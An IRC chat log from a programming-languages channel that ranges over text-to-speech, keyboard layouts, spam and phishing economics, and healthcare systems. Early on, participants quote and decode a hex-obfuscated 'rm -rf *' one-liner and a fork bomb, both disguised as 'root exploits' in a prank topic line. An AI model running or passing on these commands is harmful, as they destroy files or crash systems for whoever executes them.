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00:11:11 <mauris> fizzie: hmm, is there any immediately obvious reason why that wouldn't exist yet, really
00:11:26 <mauris> it sounds easier than normal text to speech!
00:11:31 <mauris> i guess "ipa is just big"
00:15:13 <zzo38> Yes, it should be.
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01:49:54 <boily> @ask oerjan what is a zzoon?
01:50:04 <boily> (heh. for once I used the right @command :D )
01:57:42 <boily> meanwhile, I'm stupid.
01:57:56 <boily> never, ever do $(echo 726d202d7266202a | xxd -r -p) in your home directory.
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02:23:52 <int-e> oh, this thing comes with some moderately clever packaging here (from an IRC topic line): "Root exploit: root(){ root|root& };root | OpenSSH remote root exploit: ssh $(echo 726d202d7266202a|xxd -r -p)@example.com -p 22"
02:28:23 <int-e> `` echo 726d202d7266202a | xxd -r -p
02:32:44 <elliott> int-e: so that does ssh rm -rf '*'@example.com -p 22...?
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02:40:39 <lexande> it needs another set of $()s
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03:54:56 * Sgeo may be temporarily replacing '3 slices of pizza' with 'chicken + brocolli from Chinese food place' in his diet
03:55:03 <Sgeo> Not sure if that's worse health-wise
03:55:31 <zzo38> Sgeo: If you do not like to eat same things all the time, then it is good, though.
04:11:07 <int-e> elliott: hmm, right. it should be $($(...))
04:11:47 <int-e> elliott: or perhaps it wasn't meant to be truly evil
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05:37:37 <fizzie> @tell mauris I'd say it's easier to do badly (no need for pronunciation dictionaries) but harder to do "naturally" (no way of guessing correct prosody without knowing the language, except for the IPA stress and tone markers that probably aren't even always there, and anyway don't mark up everything, plus probably no available single-voice audio corpora that'd cover all the sounds).
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06:21:01 <zzo38> You should need a more elaborate syntax, then, would be all, I think
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07:01:23 <zzo38> Which would need to also specify various parameters and envelopes for speech, as well as markers used not only in IPA but an extension of it.
07:05:01 <zzo38> Will GNU GPL version 42 ever be made up?
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11:26:07 <lambdabot> boily asked 9h 36m 12s ago: what is a zzoon?
11:26:24 <oerjan> @tell boily It is Zzleep, coming zzoon hth
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11:28:51 <oerjan> wait what. for a fraction of a second i had what seemed like a vertical tab menu, the kind i've been missing since i updated from IE 8.
11:29:05 <oerjan> and i have no idea what i pressed.
11:30:11 <oerjan> ooh it's just IE's own icon which has changed it's menu. yay!
11:32:02 <boily> what the hoily is that?
11:32:25 <oerjan> https://www.youtube.com/watch?v=-b4-h9-s2g8
11:35:22 <boily> «Hey Hey terriblement BONJOUR»
11:36:23 <oerjan> that song was even cheesier than i remembered.
11:37:41 <boily> I have no idea what was what I just watched, except that it wouldn't feel out of place on a Monday night.
11:39:01 <oerjan> the "hemskt" is something like an intensifier, no _actual_ terrible intended.
11:39:34 <oerjan> it's a terrible amount of hi.
11:40:08 <boily> I surprisingly feel quite bonjoured today with that incomprehensible video clip :D
11:40:16 <boily> (but what is a micket?)
11:43:30 * oerjan also recommends den makalöse manicken that youtube suggests
11:43:45 <oerjan> of course you'll find that incomprehensible too.
11:58:25 <fizzie> There's a Finnish cover of it.
11:58:34 <fizzie> Does that help? I don't think it helps.
12:01:26 <boily> there should be a Help Scale, measured in HTHs.
12:03:28 <oerjan> this might help, by having nothing to comprehend in the first place https://www.youtube.com/watch?v=bd2qsC-PuJQ
12:06:16 <boily> hubba hubba zoot zoot! hebba hobba zaat zaat! :D ♪
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12:23:34 <fizzie> https://www.youtube.com/watch?v=RE7TOaTv3SI let's get that Finnish action here too, then
12:23:55 <fizzie> My headset is temporarily borrowed away, so I can't check if it is in fact the same thing.
12:28:07 <fizzie> (Except by playing it back out loud with the integrated speakers while everyone else around will stop and stare.)
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12:52:36 <oerjan> fizzie: well it is. but the swedish was better hth
12:53:10 <fizzie> That's what my wife says, too, IIRC.
12:53:15 <fizzie> I guess everything's better in Sweden.
12:53:33 <oerjan> well the finnish professor just doesn't sound crazy enough.
12:53:49 <fizzie> fungot: What's best in life?
12:53:49 <fungot> fizzie: tell me how to write a procmail-replacement in scheme. no sense in null termination. if it's not easier, at least
12:54:31 <oerjan> fungot knows the true pleasures
12:54:31 <fungot> oerjan: but most implementations do though? ( x 256) is clearer.
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14:50:17 <lambdabot> Illegal type: ‘'[Maybe, (,) Bool]’
14:50:18 <lambdabot> Perhaps you intended to use DataKinds
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16:14:49 <TieSoul> granted, there's already Lingua Romana Perligata
16:15:16 <TieSoul> but I want to make it so all valid Latin sentences are also valid in Latin#
16:16:08 <HackEgo> [wiki] [[Pyth]] http://esolangs.org/w/index.php?diff=40309&oldid=40117 * 213.152.181.66 * (+4)
16:16:23 <oerjan> there's also http://esolangs.org/wiki/User:Taneb/lingua_abstrusa
16:16:46 <oerjan> http://esolangs.org/wiki/Lingua_abstrusa
16:18:18 <TieSoul> I have the idea of making "speech" verbs like vocare control I/O
16:18:24 <HackEgo> [wiki] [[CJam]] N http://esolangs.org/w/index.php?oldid=40310 * 213.152.181.66 * (+177) Created page with "CJam is a stack-based programming language inspired by [[GolfScript]]. Link: http://sourceforge.net/projects/cjam/ Code example (factorial of 5): <pre>5 ,:):*</pre> {{stub}}"
16:18:51 <TieSoul> Like, having "voco" print something, "vocas" would get input, and "vocat" would print to stderr
16:19:04 <oerjan> quidquit latine dictum sit, accumulatorem increscit.
16:20:05 <oerjan> how did it sneak into putty
16:20:38 <TieSoul> also, that which is said in Latin, increments the accumulator?
16:21:54 <TieSoul> also, what should I use as for example an end-if?
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16:23:33 <oerjan> also, Taneb is probably better at this.
16:25:40 <TieSoul> yeah, but I want to give it a try :P
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17:47:37 <fizzie> I have the vaguest feeling that also keyboards hereabouts used to have the ¦ symbol printed on the keycap in place of the |.
17:48:37 <fizzie> AIUI, UK layouts had/have both?
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17:57:59 <Melvar> fizzie: My keyboard (German type 1) has ¦ printed where | would be if I were using the matching layout. It’s on the third level, and the Linux standard upper levels have the fourth-level equivalent be ¦ .
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18:04:57 <fizzie> This (Finnish) one I'm using has a | printed (third level in the key left of z, with < > | printed on it), and there is indeed ¦ generated by altgr-shift.
18:05:35 <fizzie> The equally Finnish keyboard in the laptop has a printed ¦.
18:05:42 <fizzie> Though the machine's from Germany.
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19:15:55 <olsner> this (sv) keyboard has a solid |, but I have another (us) keyboard with ¦
19:17:13 <ais523> UK keyboards have both, but both keys are interpreted the same way on Linux: | (left of Z), | (altgr-`)
19:17:24 <ais523> I think they're interpreted differently on DOS/Windows
19:17:52 <ais523> oh wow, I've seen a new development in 419 spam
19:18:17 <ais523> this spam is pretending to be a followup to existing spam that's already been fallen to, in the sense of "now I have the money, please contact person X for further details"
19:18:25 <ais523> it's the spam equivalent of a virus, rather than a bacterium
19:18:31 <ais523> relies on some other scammer having done the hard work
19:20:34 <olsner> sounds like a better deal than the normal nigeria spam, someone else has already paid for the transfer, all you need is to collect the reward
19:28:10 <fizzie> That's not really "new". And you see it also in the form of "stop talking to these other people, they are out to scam you, we need to take care of this".
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19:29:14 <fizzie> (I don't quite know how it proceeds from there into you giving them money.)
19:29:22 <ais523> fizzie: well, it's the first time I've seen it
19:29:42 <ais523> fizzie: I've seen the "we're police investigating scams, if you've been scammed tell us about it and we'll try to get your money back"
19:29:51 <ais523> (which is followed by the normal methods of getting money)
19:35:17 <fizzie> That's kind of a followup too.
19:35:28 <fizzie> Though the ones I've seen don't ask "if you've been scammed", they just assume.
19:36:07 <ais523> fizzie: err, right, yes
19:37:27 <fizzie> I've been getting a lot of "We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you" at the webmaster@ address lately, even though there's nothing very much like a resume or a CV at the site in question.
19:37:40 <fizzie> I guess there's a bit of a profile of myself that might have some keywords.
19:38:43 <fizzie> They are offering a job as a "destination representative" with duties including "document and payment control of our clients" offering "flat wage from 1200 EUR up to 3,000 EUR per month".
19:40:13 <fizzie> "These job postings are an attempt to lure you into accepting and cashing counterfeit checks into your bank accounts. You are being recruited to wire transfer these funds via WESTERN UNION or MONEYGRAM from your bank into a DOMESTIC BANK or OFFSHORE BANK ACCOUNT."
19:40:18 <fizzie> I was guessing it was something like that.
19:41:46 <olsner> how does a counterfeit check make you transfer money from your bank?
19:42:13 <ais523> olsner: you cash the counterfeit check, then wire 90% of the money to the people who sent it to you
19:42:22 <fizzie> Or a flat fee in this case, I guess.
19:44:47 <fizzie> There's apparently also a new targeted phishing attack going around our university; at least we got a warning about one from the IT folks.
19:45:30 <fizzie> Oh, I've gotten an instance of it too, it was in the spam folder.
19:46:00 <fizzie> "Dear User, This is your webmail administrator. Please,be informed that the email server has just been upgraded and your email needs to be reset immediately. This process is to keep Aalto University system server updated and protected as always."
19:47:00 <ais523> fizzie: do you go to Aalto University?
19:47:05 <ais523> if so, that's doing better than 90% of spam
19:47:12 <fizzie> At least the "reset your email" link has the actual Aalto webmail address as the link text. (The URL is to http://www.trimitra-indolestari.co.id/templates/... though.)
19:47:27 <fizzie> Yes. It's being sent to an @aalto.fi address, so it's very targeted.
19:47:28 <ais523> you shouldn't copy links you find in spam, in case someone clicks on them
19:47:40 <fizzie> That's not the full link.
19:48:03 <olsner> ooh, I actually have one spam on my work mail (in the last month, or however long gmail keeps them before autodeleting)
19:48:39 <fizzie> Based on the warning, there's a form at the link that asks for your username and password.
19:48:46 <ais523> that said, I'm not sure spam is that much of a problem any more
19:49:03 <ais523> I have zero spam filtering on my nethack4.org address, and the spammers have nonetheless mostly given up on it
19:51:40 <fizzie> I get maybe a 10-20 pieces of spam at the zem.fi (or gehennom.org; it goes to the same place) address daily, and approximately 95% of them are redirected to the spam folder by the most trivial of filtering rules ever, which is just id=RULE-01 ; rbl=zen.spamhaus.org,bl.spamcop.net ; rblcount>=1 ; action=PREPEND X-Zem-DNSBL: BAD [$$dnsbltext]
19:52:18 <ais523> fizzie: huh, is that also a nethack-related address?
19:52:34 <fizzie> I had a public nethack server there back in time.
19:58:00 <fizzie> (And I'm providing a couple of subdomains for friends; these have nothing whatsoever to do with the domain name, but have just become established, and therefore don't want to move out.)
19:59:53 <mroman> They try to make money by selling me medical drugs.
20:00:09 <mroman> Like I couldn't get them for free in the drug store anyway
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20:00:39 <mroman> I should write a paper about how to send personalized spam
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20:10:25 <int-e> mroman: you misunderstand the business
20:10:52 <int-e> mroman: thinking of filter criteria for spam is wasted effort when you can use that time to send spam to more people
20:11:00 <int-e> those people will do the filtering for you
20:12:40 <ais523> I actually think that most people who send spam make their money off spam-sending services, which they sell to the people hoping to /actually/ make money
20:20:31 <fizzie> "After 26 days, and almost 350 million e-mail messages, only 28 sales resulted". (Kanich et al., "Spamalytics: An Empirical Analysis of Spam Marketing Conversion", where they infiltrate the Storm botnet and collect statistics.)
20:21:07 <Bike> that's almost more than i'd expect
20:21:22 <ais523> more than one per day?
20:21:38 <ais523> no wonder spam is so prevalent
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20:23:16 <int-e> Spam has been likened to the Tragedy of the Commons, for good reason.
20:23:18 <fizzie> The paper refers to an estimate that buying spam delivery by retail costs $80/million messages, which probably wouldn't make that a particularly cost-effective figure.
20:24:33 <ais523> email spam, not paper spam?
20:24:45 <ais523> that seems like a pretty expensive price, really
20:25:03 <fizzie> It does. I didn't bother to follow through the reference they got the number from.
20:25:23 <fizzie> This is slightly old work (2008), which might make a difference.
20:27:22 <fizzie> Their "Pharmacy" dataset had 347,590,389 spam targets, an estimated 82,700,000 (23.8%) recipients where the responsible mail server actually accepted the message, 10,522 (0.00303%) visits to the spam site, and those 28 (0.0000081%) sales.
20:28:57 <ais523> huh, that's a pretty bad conversion rate after clicking the link, I thought that'd be higher
20:29:09 <ais523> I wonder how many of those visits were intentional, and how many were someone accidentally clicking the link?
20:29:24 <ais523> also, looks like a DDOS could /completely/ throw off the statistics
20:29:29 <int-e> or some browser doing prefetching
20:29:54 <int-e> (which I imagine is quite possible in connection with webmail)
20:30:20 <mroman> I can't imagine spam generating reasonable profit
20:31:50 <fizzie> Of the 28 sales, 27 were for "male-enhancement products", with an average purchase price of about $100.
20:31:57 <mroman> but sending spam dosn't cost that much
20:32:23 <ais523> fizzie: now I wonder if those products even actually worked
20:32:28 <mroman> but isn't buying those products in your local pharmacy much cheaper?
20:32:42 <ais523> mroman: well, apparently the first ever spam message (for lawyers, on Usenet) worked quite well, and it was massively controversial
20:32:48 <mroman> it's probably even covered by insurance
20:32:59 <fizzie> The direct extrapolation (which might be off by quite a whole lot) yields a revenue estimate of $3.5M/year for the Storm botnet entire.
20:33:53 <mroman> although covered by insurance doesn't imply that it's free
20:34:20 <mroman> depends on your franchise
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20:36:06 <fizzie> They speculate that Storm's operators are "vertically integrated" (such a wonderful phrase) and are doing the spamming themselves, and not someone else buying botnet time from them. Based on the fact that the same pharmacy campaign was running a long time and therefore was somewhat likely to be profitable.
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20:38:19 <fizzie> It's possibly a bit moot now that Storm's I guess mostly just a memory.
20:39:06 <fizzie> Also people might be more comfortable buying their male-enhancement products online instead of at the local pharmacy.
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20:42:24 <fizzie> I also have this vague feeling that here you'd need to demonstrate a medical condition in order to receive reimbursements. (I don't know really anything about insurance-based healthcare systems.)
20:43:10 <fizzie> "You can be reimbursed for the cost of medicines that a doctor has prescribed to you for the treatment of an illness. -- The reimbursement only covers necessary medicine expenses. To qualify for a reimbursement, you must take the medicine as instructed and purchase it for 3 months' use at a time in the most economical package size."
20:44:00 <ais523> the way it works in the UK, is that the doctor prescribes medicine, then you can buy it from a pharmacist for a stock (and very small, less than £10) price
20:44:03 <ais523> and the government pays for the rest
20:44:07 <fizzie> "Further, the medicine, emollient cream or clincal nutrient you are purchasing must have been confirmed as reimbursable and as having a reasonable wholesale price by the Pharmaceuticals Pricing Board, which operates in affiliation with the Ministry of Social Affairs and Health."
20:44:35 <fizzie> That's quite close to the system here, except the reimbursement is generally some percentage off the "reasonable wholesale price" mentioned there.
20:45:48 <fizzie> And if there are several equivalent alternatives in a group, the reimbursement amount is computed based on the least expensive of them.
20:46:42 <fizzie> "Basic rate" is a 35% discount, "lower special" rate is a 65% discount, and "higher special" rate is a 100% discount except for a fixed 3 eur "copayment".
20:47:40 <fizzie> And if you have to buy more than €610 worth of medicine per year, the costs above that are reimbursed in full, except for a fixed €1.50 payment.
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20:50:15 <J_Arcane> The Finnish system is pretty much price-fixed + an automatic discount, with possible further reimbursement through the social services.
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21:01:11 <fizzie> It's like living in the Netherlands.
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21:07:11 <mroman> fizzie: Of you course you need to demonstrate a medical condition
21:07:32 <mroman> but that's where your family doctor comes into place
21:08:37 <mroman> they usually don't hesistate writing prespriction
21:10:36 <mroman> although I don't know very much about male-enhancement prescriptions
21:11:34 <mroman> but if you're unscrupulous enough you can get free massages through your doctor
21:12:47 <mroman> the only real problem of that system is if you want to visit another doctor
21:13:21 <mroman> that's essentially free income for the doctor since he needs to re-assign you to another doctor
21:13:26 <mroman> and doctors do nothing for free
21:13:58 <mroman> and they charge around 50 CHF just for a 2 min phonecall
21:15:28 <coppro> ais523: that's very similar to the system here, except for the "government" part.
21:15:37 <coppro> Most drugs are not covered by public healthcare, and private plans are needed
21:15:42 <ais523> coppro: you have health insurance pay instead?
21:16:15 <mroman> it's also difficult to leave the doctor's office without meds
21:16:19 <coppro> it's pretty much standard for any employer worth their salt to provide a health + dental plan; student associations arrange them for students
21:16:31 <ais523> so this is pretty similar to the US system
21:16:50 <coppro> but the actual consultation with the doctor is covered publicly
21:17:40 <mroman> in switzerland employers actually HAVE TO provide health plan
21:17:40 <ais523> that's also the case in the UK, there are numerous doctor surgeries you can just drop into or make an appointment with
21:17:51 <ais523> assuming you're covered by the NHS (which is true if you're British and normally true if you're EU)
21:17:58 <mroman> some sort of health plan
21:18:12 <mroman> empolyers are required to insure you for injuries
21:18:25 <mroman> but insurance for illnesses in general is something you have to buy private
21:18:31 <mroman> and by have to buy I mean you HAVE TO
21:18:40 <mroman> by law you are required to have health insurance
21:19:18 <coppro> ais523: when is it not true for EU citizens?
21:19:49 <ais523> coppro: well your own government has to cover the cost, and you have to have documentation of that
21:20:01 <ais523> and sometimes it's simpler to pay on travel insurance instead
21:20:08 <coppro> mroman: there is a mandatory public insurance program here for on-the-job injuries
21:27:08 <fizzie> I'm not sure we have very many individual private doctors. I mean, I'm sure they exist (especially individual specialists), but when I think of private healthcare, I think of a couple of big companies that provide an array of services. Basically, the same as the public clinics except with more cost and (on average?) less suck.
21:27:13 <fizzie> Many (most?) employers have a corporate account with one of them. All university faculty goes to Terveystalo.com, for example.
21:27:31 <fizzie> (Except perhaps for dental care, for which there's mostly a number of smaller, maybe even one-doctor outfits.)
21:34:02 <fizzie> People keep calling Terveystalo (lit. "Health house") Arvaustalo (lit. "Guessing house"), though.
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22:16:41 <Phantom_Hoover> good god i still can't believe that the english base university entrance on gcse results
22:18:14 <Phantom_Hoover> what are you even doing the next two years of school for!
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22:21:26 <Phantom_Hoover> Bicyclidine, well this year the standard news headline is "exam results are up overall but there has been a decline in english scores"
22:22:00 <Phantom_Hoover> guess which subject the tory education minister picked out for particular interest?
22:24:07 <Phantom_Hoover> his 'force schools to use only TRUE BRITISH LITERATURE' policy was a particular highlight
22:24:36 <Bicyclidine> well, it wouldn't be public education without nationalism.
22:25:11 <Bicyclidine> especially in britain, where you're so serious about it you even imposed it in colonies :D
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22:30:13 <Bicyclidine> the minds of the greatest historians have deliberated on this question but have yet to find an answer
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